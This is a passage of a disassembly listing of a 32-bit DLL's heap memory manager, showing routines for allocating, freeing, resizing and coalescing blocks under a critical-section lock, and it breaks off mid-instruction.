sub_1000184C+92j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10001929 loc_10001904: ; CODE XREF: sub_1000184C+DBj cmp ds:byte_1000A035, 0 jz short loc_10001917 push offset dword_1000A5B4 call sub_100010EC ; RtlLeaveCriticalSection loc_10001917: ; CODE XREF: sub_1000184C+BFj push offset dword_1000A5B4 call sub_100010F4 ; RtlDeleteCriticalSection retn ; --------------------------------------------------------------------------- loc_10001922: ; DATA XREF: sub_1000184C+14o jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_10001904 ; --------------------------------------------------------------------------- loc_10001929: ; CODE XREF: sub_1000184C+Bj ; DATA XREF: sub_1000184C+B3o pop ebx pop ebp retn sub_1000184C endp ; =============== S U B R O U T I N E ======================================= sub_1000192C proc near ; CODE XREF: sub_10001A3C:loc_10001A9Dp ; sub_10001AAC+23p ... push ebx cmp eax, ds:off_1000A600 jnz short loc_1000193E mov edx, [eax+4] mov ds:off_1000A600, edx loc_1000193E: ; CODE XREF: sub_1000192C+7j mov edx, [eax+4] mov ecx, [eax+8] cmp ecx, 1000h jg short loc_10001984 cmp eax, edx jnz short loc_10001967 test ecx, ecx jns short loc_10001957 add ecx, 3 loc_10001957: ; CODE XREF: sub_1000192C+26j sar ecx, 2 mov eax, ds:dword_1000A60C xor edx, edx mov [eax+ecx*4-0Ch], edx jmp short loc_1000198B ; --------------------------------------------------------------------------- loc_10001967: ; CODE XREF: sub_1000192C+22j test ecx, ecx jns short loc_1000196E add ecx, 3 loc_1000196E: ; CODE XREF: sub_1000192C+3Dj sar ecx, 2 mov ebx, ds:dword_1000A60C mov [ebx+ecx*4-0Ch], edx mov eax, [eax] mov [edx], eax mov [eax+4], edx pop ebx retn ; --------------------------------------------------------------------------- loc_10001984: ; CODE XREF: sub_1000192C+1Ej mov eax, [eax] mov [edx], eax mov [eax+4], edx loc_1000198B: ; CODE XREF: sub_1000192C+39j pop ebx retn sub_1000192C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10001990 proc near ; CODE XREF: sub_10001AE4+11p mov edx, ds:dword_1000A610 jmp short loc_100019A8 ; --------------------------------------------------------------------------- loc_10001998: ; CODE XREF: sub_10001990+1Ej mov ecx, [edx+8] cmp eax, ecx jb short loc_100019A6 add ecx, [edx+0Ch] cmp eax, ecx jb short loc_100019BC loc_100019A6: ; CODE XREF: sub_10001990+Dj mov edx, [edx] loc_100019A8: ; CODE XREF: sub_10001990+6j cmp edx, offset dword_1000A610 jnz short loc_10001998 mov ds:dword_1000A5B0, 3 xor edx, edx loc_100019BC: ; CODE XREF: sub_10001990+14j mov eax, edx retn sub_10001990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_100019C0 proc near ; CODE XREF: sub_10001AE4+74p ; sub_10001C68+68p push ebx mov ecx, edx sub ecx, 4 lea ebx, [ecx+eax] cmp edx, 10h jl short loc_100019DD mov dword ptr [ebx], 80000007h mov edx, ecx call sub_10001B94 pop ebx retn ; --------------------------------------------------------------------------- loc_100019DD: ; CODE XREF: sub_100019C0+Cj cmp edx, 4 jl short loc_100019EE mov ecx, edx or ecx, 80000002h mov [eax], ecx mov [ebx], ecx loc_100019EE: ; CODE XREF: sub_100019C0+20j pop ebx retn sub_100019C0 endp ; =============== S U B R O U T I N E ======================================= sub_100019F0 proc near ; CODE XREF: sub_10001A14+Dp ; sub_10001C1C+36p ... inc ds:dword_1000A59C mov edx, eax sub edx, 4 mov edx, [edx] and edx, 7FFFFFFCh sub edx, 4 add ds:dword_1000A5A0, edx call sub_10002004 retn sub_100019F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001A14 proc near ; CODE XREF: sub_10001AE4+8Ep cmp edx, 0Ch jl short loc_10001A27 or edx, 2 mov [eax], edx add eax, 4 call sub_100019F0 retn ; --------------------------------------------------------------------------- loc_10001A27: ; CODE XREF: sub_10001A14+3j cmp edx, 4 jl short loc_10001A36 mov ecx, edx or ecx, 80000002h mov [eax], ecx loc_10001A36: ; CODE XREF: sub_10001A14+16j add eax, edx and dword ptr [eax], 0FFFFFFFEh retn sub_10001A14 endp ; =============== S U B R O U T I N E ======================================= sub_10001A3C proc near ; CODE XREF: sub_10001C68+36p push ebx push esi mov edx, eax sub edx, 4 mov edx, [edx] mov ecx, edx and ecx, 80000002h cmp ecx, 80000002h jz short loc_10001A5F mov ds:dword_1000A5B0, 4 loc_10001A5F: ; CODE XREF: sub_10001A3C+17j mov ebx, edx and ebx, 7FFFFFFCh sub eax, ebx mov ecx, eax xor edx, [ecx] test edx, 0FFFFFFFEh jz short loc_10001A7F mov ds:dword_1000A5B0, 5 loc_10001A7F: ; CODE XREF: sub_10001A3C+37j test byte ptr [ecx], 1 jz short loc_10001AA4 mov edx, eax sub edx, 0Ch mov esi, [edx+8] sub eax, esi cmp esi, [eax+8] jz short loc_10001A9D mov ds:dword_1000A5B0, 6 loc_10001A9D: ; CODE XREF: sub_10001A3C+55j call sub_1000192C add ebx, esi loc_10001AA4: ; CODE XREF: sub_10001A3C+46j mov eax, ebx pop esi pop ebx retn sub_10001A3C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001AAC proc near ; CODE XREF: sub_10001C68+4Fp push ebx push esi push edi mov ebx, eax xor edi, edi mov eax, [ebx] test eax, 80000000h jz short loc_10001AC7 and eax, 7FFFFFFCh add edi, eax add ebx, eax mov eax, [ebx] loc_10001AC7: ; CODE XREF: sub_10001AAC+Ej test al, 2 jnz short loc_10001ADE mov esi, ebx mov eax, esi call sub_1000192C mov eax, [esi+8] add edi, eax add ebx, eax and dword ptr [ebx], 0FFFFFFFEh loc_10001ADE: ; CODE XREF: sub_10001AAC+1Dj mov eax, edi pop edi pop esi pop ebx retn sub_10001AAC endp ; =============== S U B R O U T I N E ======================================= sub_10001AE4 proc near ; CODE XREF: sub_10001B94+61p var_1C = byte ptr -1Ch var_1B = dword ptr -1Bh var_17 = dword ptr -17h push ebx push esi push edi push ebp add esp, 0FFFFFFF4h mov edi, edx mov esi, eax mov [esp+1Ch+var_1C], 0 mov eax, esi call sub_10001990 mov ebx, eax test ebx, ebx jz loc_10001B86 mov ebp, [ebx+8] mov eax, ebp add eax, [ebx+0Ch] mov edx, eax lea ecx, [edi+esi] sub edx, ecx cmp edx, 0Ch jg short loc_10001B1C mov edi, eax sub edi, esi loc_10001B1C: ; CODE XREF: sub_10001AE4+32j mov eax, esi sub eax, ebp cmp eax, 0Ch jge short loc_10001B39 lea ecx, [esp+1Ch+var_1B] mov edx, esi sub edx, [ebx+8] add edx, edi mov eax, ebp call sub_100016FC jmp short loc_10001B4A ; --------------------------------------------------------------------------- loc_10001B39: ; CODE XREF: sub_10001AE4+3Fj lea ecx, [esp+1Ch+var_1B] mov edx, edi sub edx, 4 lea eax, [esi+4] call sub_100016FC loc_10001B4A: ; CODE XREF: sub_10001AE4+53j mov ebp, [esp+1Ch+var_1B] test ebp, ebp jz short loc_10001B86 mov edx, ebp sub edx, esi mov eax, esi call sub_100019C0 mov eax, ebp add eax, [esp+1Ch+var_17] mov edx, [ebx+8] add edx, [ebx+0Ch] cmp eax, edx jnb short loc_10001B77 lea edx, [edi+esi] sub edx, eax call sub_10001A14 loc_10001B77: ; CODE XREF: sub_10001AE4+87j lea edx, [esp+1Ch+var_1B] mov eax, ebx call sub_1000120C mov [esp+1Ch+var_1C], 1 loc_10001B86: ; CODE XREF: sub_10001AE4+1Aj ; sub_10001AE4+6Cj mov al, [esp+1Ch+var_1C] add esp, 0Ch pop ebp pop edi pop esi pop ebx retn sub_10001AE4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001B94 proc near ; CODE XREF: sub_100019C0+16p ; sub_10001D80+BBp ... push ebx push esi push edi mov esi, edx mov edi, eax mov ebx, edi mov [ebx+8], esi mov eax, ebx add eax, esi sub eax, 0Ch mov [eax+8], esi cmp esi, 1000h jg short loc_10001BE9 mov edx, esi test edx, edx jns short loc_10001BBB add edx, 3 loc_10001BBB: ; CODE XREF: sub_10001B94+22j sar edx, 2 mov eax, ds:dword_1000A60C mov eax, [eax+edx*4-0Ch] test eax, eax jnz short loc_10001BDB mov eax, ds:dword_1000A60C mov [eax+edx*4-0Ch], ebx mov [ebx+4], ebx mov [ebx], ebx jmp short loc_10001C15 ; --------------------------------------------------------------------------- loc_10001BDB: ; CODE XREF: sub_10001B94+35j mov edx, [eax] mov [ebx+4], eax mov [ebx], edx mov [eax], ebx mov [edx+4], ebx jmp short loc_10001C15 ; --------------------------------------------------------------------------- loc_10001BE9: ; CODE XREF: sub_10001B94+1Cj cmp esi, 3C00h jl short loc_10001BFE mov edx, esi mov eax, edi call sub_10001AE4 test al, al jnz short loc_10001C15 loc_10001BFE: ; CODE XREF: sub_10001B94+5Bj mov eax, ds:off_1000A600 mov ds:off_1000A600, ebx mov edx, [eax] mov [ebx+4], eax mov [ebx], edx mov [eax], ebx mov [edx+4], ebx loc_10001C15: ; CODE XREF: sub_10001B94+45j ; sub_10001B94+53j ... pop edi pop esi pop ebx retn sub_10001B94 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001C1C proc near ; CODE XREF: sub_10001C68+Fp ; sub_10002004+100p ... cmp ds:dword_1000A604, 0 jle short locret_10001C65 cmp ds:dword_1000A604, 0Ch jge short loc_10001C3A mov ds:dword_1000A5B0, 7 jmp short locret_10001C65 ; --------------------------------------------------------------------------- loc_10001C3A: ; CODE XREF: sub_10001C1C+10j mov eax, ds:dword_1000A604 or eax, 2 mov edx, ds:dword_1000A608 mov [edx], eax mov eax, ds:dword_1000A608 add eax, 4 call sub_100019F0 xor eax, eax mov ds:dword_1000A608, eax xor eax, eax mov ds:dword_1000A604, eax locret_10001C65: ; CODE XREF: sub_10001C1C+7j ; sub_10001C1C+1Cj retn sub_10001C1C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001C68 proc near ; CODE XREF: sub_10001CF4+18p ; sub_10001D20+1Dp var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h push ebx push esi push edi add esp, 0FFFFFFF0h mov esi, eax lea edi, [esp+1Ch+var_1C] movsd movsd mov edi, esp call sub_10001C1C lea ecx, [esp+1Ch+var_14] mov edx, edi mov eax, offset dword_1000A610 call sub_1000119C mov ebx, [esp+1Ch+var_14] test ebx, ebx jnz short loc_10001C98 xor eax, eax jmp short loc_10001CEA ; --------------------------------------------------------------------------- loc_10001C98: ; CODE XREF: sub_10001C68+2Aj mov eax, [edi] cmp ebx, eax jnb short loc_10001CA8 call sub_10001A3C sub [edi], eax add [edi+4], eax loc_10001CA8: ; CODE XREF: sub_10001C68+34j mov eax, [edi] add eax, [edi+4] mov esi, ebx add esi, [esp+1Ch+var_10] cmp eax, esi jnb short loc_10001CBF call sub_10001AAC add [edi+4], eax loc_10001CBF: ; CODE XREF: sub_10001C68+4Dj mov eax, [edi] add eax, [edi+4] cmp esi, eax jnz short loc_10001CD9 sub eax, 4 mov edx, 4 call sub_100019C0 sub dword ptr [edi+4], 4 loc_10001CD9: ; CODE XREF: sub_10001C68+5Ej mov eax, [edi] mov ds:dword_1000A608, eax mov eax, [edi+4] mov ds:dword_1000A604, eax mov al, 1 loc_10001CEA: ; CODE XREF: sub_10001C68+2Ej add esp, 10h pop edi pop esi pop ebx retn sub_10001C68 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001CF4 proc near ; CODE XREF: sub_10001D80+57p var_C = dword ptr -0Ch push ebx add esp, 0FFFFFFF8h mov ebx, eax mov edx, esp lea eax, [ebx+4] call sub_10001548 cmp [esp+0Ch+var_C], 0 jz short loc_10001D15 mov eax, esp call sub_10001C68 test al, al jnz short loc_10001D19 loc_10001D15: ; CODE XREF: sub_10001CF4+14j xor eax, eax jmp short loc_10001D1B ; --------------------------------------------------------------------------- loc_10001D19: ; CODE XREF: sub_10001CF4+1Fj mov al, 1 loc_10001D1B: ; CODE XREF: sub_10001CF4+23j pop ecx pop edx pop ebx retn sub_10001CF4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10001D20 proc near ; CODE XREF: sub_100021A8+1A4p var_10 = dword ptr -10h push ebx push esi add esp, 0FFFFFFF8h mov esi, edx mov ebx, eax mov ecx, esp lea edx, [esi+4] mov eax, ebx call sub_100015D8 cmp [esp+10h+var_10], 0 jz short loc_10001D46 mov eax, esp call sub_10001C68 test al, al jnz short loc_10001D4A loc_10001D46: ; CODE XREF: sub_10001D20+19j xor eax, eax jmp short loc_10001D4C ; --------------------------------------------------------------------------- loc_10001D4A: ; CODE XREF: sub_10001D20+24j mov al, 1 loc_10001D4C: ; CODE XREF: sub_10001D20+28j pop ecx pop edx pop esi pop ebx retn sub_10001D20 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10001D54 proc near ; CODE XREF: sub_10001D80+4Ap xor edx, edx test eax, eax jns short loc_10001D5D add eax, 3 loc_10001D5D: ; CODE XREF: sub_10001D54+4j sar eax, 2 cmp eax, 400h jg short loc_10001D7D loc_10001D67: ; CODE XREF: sub_10001D54+27j mov edx, ds:dword_1000A60C mov edx, [edx+eax*4-0Ch] test edx, edx jnz short loc_10001D7D inc eax cmp eax, 401h jnz short loc_10001D67 loc_10001D7D: ; CODE XREF: sub_10001D54+11j ; sub_10001D54+1Fj mov eax, edx retn sub_10001D54 endp ; =============== S U B R O U T I N E ======================================= sub_10001D80 proc near ; CODE XREF: sub_10001E74+153p push ebx push esi push edi push ebp mov esi, eax mov edi, offset off_1000A600 mov ebp, offset dword_1000A604 loc_10001D90: ; CODE XREF: sub_10001D80+6Aj mov ebx, ds:off_1000A5F8 cmp esi, [ebx+8] jle loc_10001E23 mov ebx, [edi] mov eax, [ebx+8] cmp esi, eax jle short loc_10001E23 mov [ebx+8], esi loc_10001DAB: ; CODE XREF: sub_10001D80+31j mov ebx, [ebx+4] cmp esi, [ebx+8] jg short loc_10001DAB mov edx, [edi] mov [edx+8], eax cmp ebx, [edi] jz short loc_10001DC0 mov [edi], ebx jmp short loc_10001E23 ; --------------------------------------------------------------------------- loc_10001DC0: ; CODE XREF: sub_10001D80+3Aj cmp esi, 1000h jg short loc_10001DD5 mov eax, esi call sub_10001D54 mov ebx, eax test ebx, ebx jnz short loc_10001E23 loc_10001DD5: ; CODE XREF: sub_10001D80+46j mov eax, esi call sub_10001CF4 test al, al jnz short loc_10001DE7 xor eax, eax jmp loc_10001E6F ; --------------------------------------------------------------------------- loc_10001DE7: ; CODE XREF: sub_10001D80+5Ej cmp esi, [ebp+0] jg short loc_10001D90 sub [ebp+0], esi cmp dword ptr [ebp+0], 0Ch jge short loc_10001DFD add esi, [ebp+0] xor eax, eax mov [ebp+0], eax loc_10001DFD: ; CODE XREF: sub_10001D80+73j mov eax, ds:dword_1000A608 add ds:dword_1000A608, esi mov edx, esi or edx, 2 mov [eax], edx add eax, 4 inc ds:dword_1000A59C sub esi, 4 add ds:dword_1000A5A0, esi jmp short loc_10001E6F ; --------------------------------------------------------------------------- loc_10001E23: ; CODE XREF: sub_10001D80+19j ; sub_10001D80+26j ... mov eax, ebx call sub_1000192C mov edx, [ebx+8] mov eax, edx sub eax, esi cmp eax, 0Ch jl short loc_10001E42 mov edx, ebx add edx, esi xchg eax, edx call sub_10001B94 jmp short loc_10001E54 ; --------------------------------------------------------------------------- loc_10001E42: ; CODE XREF: sub_10001D80+B4j mov esi, edx cmp ebx, [edi] jnz short loc_10001E4D mov eax, [ebx+4] mov [edi], eax loc_10001E4D: ; CODE XREF: sub_10001D80+C6j mov eax, ebx add eax, esi and dword ptr [eax], 0FFFFFFFEh loc_10001E54: ; CODE XREF: sub_10001D80+C0j mov eax, ebx mov edx, esi or edx, 2 mov [eax], edx add eax, 4 inc ds:dword_1000A59C sub esi, 4 add ds:dword_1000A5A0, esi loc_10001E6F: ; CODE XREF: sub_10001D80+62j ; sub_10001D80+A1j pop ebp pop edi pop esi pop ebx retn sub_10001D80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10001E74 proc near ; CODE XREF: sub_10002384+5Cp ; sub_10002448+5p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov ebx, eax cmp ds:byte_1000A5AC, 0 jnz short loc_10001E91 call sub_10001788 test al, al jz short loc_10001E99 loc_10001E91: ; CODE XREF: sub_10001E74+12j cmp ebx, 7FFFFFF8h jle short loc_10001EA3 loc_10001E99: ; CODE XREF: sub_10001E74+1Bj xor eax, eax mov [ebp+var_4], eax jmp loc_10001FF7 ; --------------------------------------------------------------------------- loc_10001EA3: ; CODE XREF: sub_10001E74+23j xor ecx, ecx push ebp push offset loc_10001FF0 push dword ptr fs:[ecx] mov fs:[ecx], esp cmp ds:byte_1000A035, 0 jz short loc_10001EC4 push offset dword_1000A5B4 call sub_100010E4 ; RtlEnterCriticalSection loc_10001EC4: ; CODE XREF: sub_10001E74+44j add ebx, 7 and ebx, 0FFFFFFFCh cmp ebx, 0Ch jge short loc_10001ED4 mov ebx, 0Ch loc_10001ED4: ; CODE XREF: sub_10001E74+59j cmp ebx, 1000h jg loc_10001F73 mov eax, ebx test eax, eax jns short loc_10001EE9 add eax, 3 loc_10001EE9: ; CODE XREF: sub_10001E74+70j sar eax, 2 mov edx, ds:dword_1000A60C mov edx, [edx+eax*4-0Ch] test edx, edx jz short loc_10001F73 mov esi, edx mov eax, esi add eax, ebx and dword ptr [eax], 0FFFFFFFEh mov eax, [edx+4] cmp edx, eax jnz short loc_10001F24 mov eax, ebx test eax, eax jns short loc_10001F13 add eax, 3 loc_10001F13: ; CODE XREF: sub_10001E74+9Aj sar eax, 2 mov ecx, ds:dword_1000A60C xor edi, edi mov [ecx+eax*4-0Ch], edi jmp short loc_10001F4A ; --------------------------------------------------------------------------- loc_10001F24: ; CODE XREF: sub_10001E74+94j mov ecx, ebx test ecx, ecx jns short loc_10001F2D add ecx, 3 loc_10001F2D: ; CODE XREF: sub_10001E74+B4j sar ecx, 2 mov edi, ds:dword_1000A60C mov [edi+ecx*4-0Ch], eax mov ecx, [edx] mov [ebp+var_8], ecx mov ecx, [ebp+var_8] mov [ecx+4], eax mov ecx, [ebp+var_8] mov [eax], ecx loc_10001F4A: ; CODE XREF: sub_10001E74+AEj mov eax, esi mov edx, [edx+8] or edx, 2 mov [eax], edx add eax, 4 mov [ebp+var_4], eax inc ds:dword_1000A59C sub ebx, 4 add ds:dword_1000A5A0, ebx call sub_10002C1C jmp loc_10001FF7 ; --------------------------------------------------------------------------- loc_10001F73: ; CODE XREF: sub_10001E74+66j ; sub_10001E74+84j cmp ebx, ds:dword_1000A604 jg short loc_10001FC5 sub ds:dword_1000A604, ebx cmp ds:dword_1000A604, 0Ch jge short loc_10001F97 add ebx, ds:dword_1000A604 xor eax, eax mov ds:dword_1000A604, eax loc_10001F97: ; CODE XREF: sub_10001E74+114j mov eax, ds:dword_1000A608 add ds:dword_1000A608, ebx mov edx, ebx or edx, 2 mov [eax], edx add eax, 4 mov [ebp+var_4], eax inc ds:dword_1000A59C sub ebx, 4 add ds:dword_1000A5A0, ebx call sub_10002C1C jmp short loc_10001FF7 ; --------------------------------------------------------------------------- loc_10001FC5: ; CODE XREF: sub_10001E74+105j mov eax, ebx call sub_10001D80 mov [ebp+var_4], eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10001FF7 loc_10001FDC: ; CODE XREF: sub_10001E74+181j cmp ds:byte_1000A035, 0 jz short locret_10001FEF push offset dword_1000A5B4 call sub_100010EC ; RtlLeaveCriticalSection locret_10001FEF: ; CODE XREF: sub_10001E74+16Fj retn ; --------------------------------------------------------------------------- loc_10001FF0: ; DATA XREF: sub_10001E74+32o jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_10001FDC ; --------------------------------------------------------------------------- loc_10001FF7: ; CODE XREF: sub_10001E74+2Aj ; sub_10001E74+FAj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_10001E74 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10002004 proc near ; CODE XREF: sub_100019F0+1Cp ; sub_10002384+88p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, eax xor eax, eax mov ds:dword_1000A5B0, eax cmp ds:byte_1000A5AC, 0 jnz short loc_1000203C call sub_10001788 test al, al jnz short loc_1000203C mov ds:dword_1000A5B0, 8 mov [ebp+var_4], 8 jmp loc_1000219D ; --------------------------------------------------------------------------- loc_1000203C: ; CODE XREF: sub_10002004+17j ; sub_10002004+20j xor ecx, ecx push ebp push offset loc_10002196 push dword ptr fs:[ecx] mov fs:[ecx], esp cmp ds:byte_1000A035, 0 jz short loc_1000205D push offset dword_1000A5B4 call sub_100010E4 ; RtlEnterCriticalSection loc_1000205D: ; CODE XREF: sub_10002004+4Dj mov esi, ebx sub esi, 4 mov ebx, [esi] test bl, 2 jnz short loc_10002078 mov ds:dword_1000A5B0, 9 jmp loc_1000216D ; --------------------------------------------------------------------------- loc_10002078: ; CODE XREF: sub_10002004+63j dec ds:dword_1000A59C mov eax, ebx and eax, 7FFFFFFCh sub eax, 4 sub ds:dword_1000A5A0, eax test bl, 1 jz short loc_100020D8 mov eax, esi sub eax, 0Ch mov edx, [eax+8] cmp edx, 0Ch jl short loc_100020A8 test edx, 80000003h jz short loc_100020B7 loc_100020A8: ; CODE XREF: sub_10002004+9Aj mov ds:dword_1000A5B0, 0Ah jmp loc_1000216D ; --------------------------------------------------------------------------- loc_100020B7: ; CODE XREF: sub_10002004+A2j mov eax, esi sub eax, edx cmp edx, [eax+8] jz short loc_100020CF mov ds:dword_1000A5B0, 0Ah jmp loc_1000216D ; --------------------------------------------------------------------------- loc_100020CF: ; CODE XREF: sub_10002004+BAj add ebx, edx mov esi, eax call sub_1000192C loc_100020D8: ; CODE XREF: sub_10002004+8Dj and ebx, 7FFFFFFCh mov eax, esi add eax, ebx mov edi, eax cmp edi, ds:dword_1000A608 jnz short loc_10002118 sub ds:dword_1000A608, ebx add ds:dword_1000A604, ebx cmp ds:dword_1000A604, 3C00h jle short loc_10002109 call sub_10001C1C loc_10002109: ; CODE XREF: sub_10002004+FEj xor eax, eax mov [ebp+var_4], eax call sub_10002C1C jmp loc_1000219D ; --------------------------------------------------------------------------- loc_10002118: ; CODE XREF: sub_10002004+E6j mov edx, [eax] test dl, 2 jz short loc_1000213B and edx, 7FFFFFFCh cmp edx, 4 jge short loc_10002136 mov ds:dword_1000A5B0, 0Bh jmp short loc_1000216D ; --------------------------------------------------------------------------- loc_10002136: ; CODE XREF: sub_10002004+124j or dword ptr [eax], 1 jmp short loc_10002164 ; --------------------------------------------------------------------------- loc_1000213B: ; CODE XREF: sub_10002004+119j mov eax, edi cmp dword ptr [eax+4], 0 jz short loc_1000214E cmp dword ptr [eax], 0 jz short loc_1000214E cmp dword ptr [eax+8], 0Ch jge short loc_1000215A loc_1000214E: ; CODE XREF: sub_10002004+13Dj ; sub_10002004+142j mov ds:dword_1000A5B0, 0Bh jmp short loc_1000216D ; --------------------------------------------------------------------------- loc_1000215A: ; CODE XREF: sub_10002004+148j mov edx, [eax+8] add ebx, edx call sub_1000192C loc_10002164: ; CODE XREF: sub_10002004+135j mov edx, ebx mov eax, esi call sub_10001B94 loc_1000216D: ; CODE XREF: sub_10002004+6Fj ; sub_10002004+AEj ... mov eax, ds:dword_1000A5B0 mov [ebp+var_4], eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000219D loc_10002182: ; CODE XREF: sub_10002004+197j cmp ds:byte_1000A035, 0 jz short locret_10002195 push offset dword_1000A5B4 call sub_100010EC ; RtlLeaveCriticalSection locret_10002195: ; CODE XREF: sub_10002004+185j retn ; --------------------------------------------------------------------------- loc_10002196: ; DATA XREF: sub_10002004+3Bo jmp loc_10002B60 ; --------------------------------------------------------------------------- jmp short loc_10002182 ; --------------------------------------------------------------------------- loc_1000219D: ; CODE XREF: sub_10002004+33j ; sub_10002004+10Fj ; DATA XREF: ... mov eax, [ebp+var_4] pop edi pop esi pop ebx pop ecx pop ebp retn sub_10002004 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100021A8 proc near ; CODE XREF: sub_10002384+4Cp var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov esi, edx add esi, 7 and esi, 0FFFFFFFCh cmp esi, 0Ch jge short loc_100021C1 mov esi, 0Ch loc_100021C1: ; CODE XREF: sub_100021A8+12j mov ebp, eax sub ebp, 4 mov edi, [ebp+0] and edi, 7FFFFFFCh mov eax, ebp add eax, edi mov ebx, eax cmp edi, esi jnz short loc_100021E0 mov al, 1 jmp loc_1000237B ; --------------------------------------------------------------------------- loc_100021E0: ; CODE XREF: sub_100021A8+2Fj cmp edi, esi jle loc_1000226B mov edx, edi sub edx, esi mov [esp+18h+var_18], edx cmp ebx, ds:dword_1000A608 jnz short loc_1000222F mov eax, [esp+18h+var_18] sub ds:dword_1000A608, eax mov eax, [esp+18h+var_18] add ds:dword_1000A604, eax cmp ds:dword_1000A604, 0Ch jge loc_10002362 mov eax, [esp+18h+var_18] add ds:dword_1000A608, eax mov eax, [esp+18h+var_18] sub ds:dword_1000A604, eax mov esi, edi jmp loc_10002362 ; --------------------------------------------------------------------------- loc_1000222F: ; CODE XREF: sub_100021A8+4Dj mov ebx, eax test byte ptr [ebx], 2 jnz short loc_10002243 mov eax, ebx mov edx, [eax+8] add [esp+18h+var_18], edx call sub_1000192C loc_10002243: ; CODE XREF: sub_100021A8+8Cj cmp [esp+18h+var_18], 0Ch jl short loc_10002264 mov ebx, ebp add ebx, esi mov eax, [esp+18h+var_18] or eax, 2 mov [ebx], eax mov eax, ebx add eax, 4 call sub_100019F0 jmp loc_10002362 ; --------------------------------------------------------------------------- loc_10002264: ; CODE XREF: sub_100021A8+9Fj mov esi, edi jmp loc_10002362 ; --------------------------------------------------------------------------- loc_1000226B: ; CODE XREF: sub_100021A8+3Aj ; sub_100021A8+1B1j mov eax, esi sub eax, edi mov [esp+18h+var_14], eax cmp ebx, ds:dword_1000A608 jnz short loc_100022E2 mov eax, ds:dword_1000A604 cmp eax, [esp+18h+var_14] jl short loc_100022D9 mov eax, [esp+18h+var_14] sub ds:dword_1000A604, eax mov eax, [esp+18h+var_14] add ds:dword_1000A608, eax cmp ds:dword_1000A604, 0Ch jge short loc_100022BB mov eax, ds:dword_1000A604 add ds:dword_1000A608, eax add esi, ds:dword_1000A604 xor eax, eax mov ds:dword_1000A604, eax loc_100022BB: ; CODE XREF: sub_100021A8+F9j mov eax, esi sub eax, edi add ds:dword_1000A5A0, eax mov eax, [ebp+0] and eax, 80000003h or esi, eax mov [ebp+0], esi mov al, 1 jmp loc_1000237B ; --------------------------------------------------------------------------- loc_100022D9: ; CODE XREF: sub_100021A8+DCj call sub_10001C1C mov ebx, ebp add ebx, edi loc_100022E2: ; CODE XREF: sub_100021A8+D1j test byte ptr [ebx], 2 jnz short loc_10002334 mov edx, ebx mov eax, edx mov ecx, [eax+8] mov [esp+18h+var_18], ecx mov ecx, [esp+18h+var_18] cmp ecx, [esp+18h+var_14] jge short loc_10002308 add edx, [esp+18h+var_18] mov ebx, edx mov eax, [esp+18h+var_18] sub [esp+18h+var_14], eax jmp short loc_10002334 ; --------------------------------------------------------------------------- loc_10002308: ; CODE XREF: sub_100021A8+150j call sub_1000192C mov eax, [esp+18h+var_14] sub [esp+18h+var_18], eax cmp [esp+18h+var_18], 0Ch jl short loc_10002328 mov eax, ebp add eax, esi mov edx, [esp+18h+var_18] call sub_10001B94 jmp short loc_10002362 ; --------------------------------------------------------------------------- loc_10002328: ; CODE XREF: sub_100021A8+170j add esi, [esp+18h+var_18] mov ebx, ebp add ebx, esi and dword ptr [ebx], 0FFFFFFFEh jmp short loc_10002362 ; --------------------------------------------------------------------------- loc_10002334: ; CODE XREF: sub_100021A8+13Dj ; sub_100021A8+15Ej mov eax, [ebx] test eax, 80000000h jz short loc_1000235E and eax, 7FFFFFFCh add eax, ebx mov ebx, eax mov edx, [esp+18h+var_14] mov eax, ebx call sub_10001D20 test al, al jz short loc_1000235E mov ebx, ebp add ebx, edi jmp loc_1000226B ; --------------------------------------------------------------------------- loc_1000235E: ; CODE XREF: sub_100021A8+193j ; sub_100021A8+1ABj xor eax, eax jmp short loc_1000237B ; --------------------------------------------------------------------------- loc_10002362: ; CODE XREF: sub_100021A8+68j ; sub_100021A8+82j ... mov eax, esi sub eax, edi add ds:dword_1000A5A0, eax mov eax, [ebp+0] and eax, 80000003h or esi, eax mov [ebp+0], esi mov al, 1 loc_1000237B: ; CODE XREF: sub_100021A8+33j ; sub_100021A8+12Cj ... pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_100021A8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10002384 proc near ; CODE XREF: sub_10002488+Dp ; DATA XREF: DATA:off_1000802Co var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, edx mov ebx, eax cmp ds:byte_1000A5AC, 0 jnz short loc_100023AB call sub_10001788 test al, al jnz short loc_100023AB xor eax, eax mov [ebp+var_4], eax jmp 